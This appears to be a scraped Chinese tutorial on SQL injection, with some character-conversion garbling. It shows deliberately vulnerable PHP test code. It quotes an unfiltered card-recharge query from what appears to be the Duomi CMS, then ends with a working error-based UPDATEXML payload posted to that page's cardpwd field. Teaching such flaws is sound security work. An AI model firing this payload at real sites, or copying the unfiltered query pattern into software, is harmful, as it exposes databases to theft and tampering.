SQL注入***(SQL Injection),簡稱注入***,是Web開發中最多見的一種安全漏洞。能夠用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操做,甚至有可能獲取數據庫乃至系統用戶最高權限。php
而形成SQL注入的緣由是由於程序沒有有效過濾用戶的輸入,使***者成功的向服務器提交惡意的SQL查詢代碼,程序在接收後錯誤的將***者的輸入做爲查詢語句的一部分執行,致使原始的查詢邏輯被改變,額外的執行了***者精心構造的惡意代碼。mysql
不少Web開發者沒有意識到SQL查詢是能夠被篡改的,從而把SQL查詢看成可信任的命令。卻不知,SQL查詢是能夠繞開訪問控制,從而繞過身份驗證和權限檢查的。更有甚者,有可能經過SQL查詢去運行主機系統級的命令。sql
下面將經過一些真實的例子來詳細講解SQL注入的方式。數據庫
測試代碼以下:安全
<?php$uid=$_GET['id']; $sql="SELECT * FROM userinfo where id=$uid";$conn=mysql_connect ('localhost','root','root');mysql_select_db("sql",$conn);$result=mysql_query($sql,$conn);print_r('當前SQL語句: '.$sql.'
結果: ');print_r(mysql_fetch_row($result));?>
$uid=$_GET['id']; //獲取GET值
$sql="SELECT * FROM userinfo where id=$uid"; //執行SQL語句
$conn=mysql_connect ('localhost','root','root');mysql_select_db("sql",$conn); //數據庫配配置
$result=mysql_query($sql,$conn); //進行查詢SQL語句
print_r('當前SQL語句: '.$sql.'
結果: ');print_r(mysql_fetch_row($result)); //進行打印輸出沒有任何的過濾因此利用簡單的SQL注入語句就能夠直接查詢相關須要的信息。
if(empty($_SESSION['duomi_user_id'])){ showMsg("請先登陸","login.php"); exit();}elseif($dm=='mypay'){ $key=$_POST['cardkey']; if($key==""){showMsg("請輸入充值卡號","-1");exit;} $pwd=$_POST['cardpwd']; if($pwd==""){showMsg("請輸入充值卡密碼","-1");exit;} $sqlt="SELECT * FROM duomi_card where ckey='$key'"; $sqlt="SELECT * FROM duomi_card where cpwd='$pwd'"; $row1 = $dsql->GetOne($sqlt); if(!is_array($row1) OR $row1['status']<>0){ showMsg("充值卡信息有誤","-1");exit; }else{ $uname=$_SESSION['duomi_user_name']; $points=$row1['climit']; $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'"); $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'"); $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'"); showMsg("恭喜!充值成功!","mypay.php");exit; }}else{
http://localhost/member/mypay.php?dm=mypayPOST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1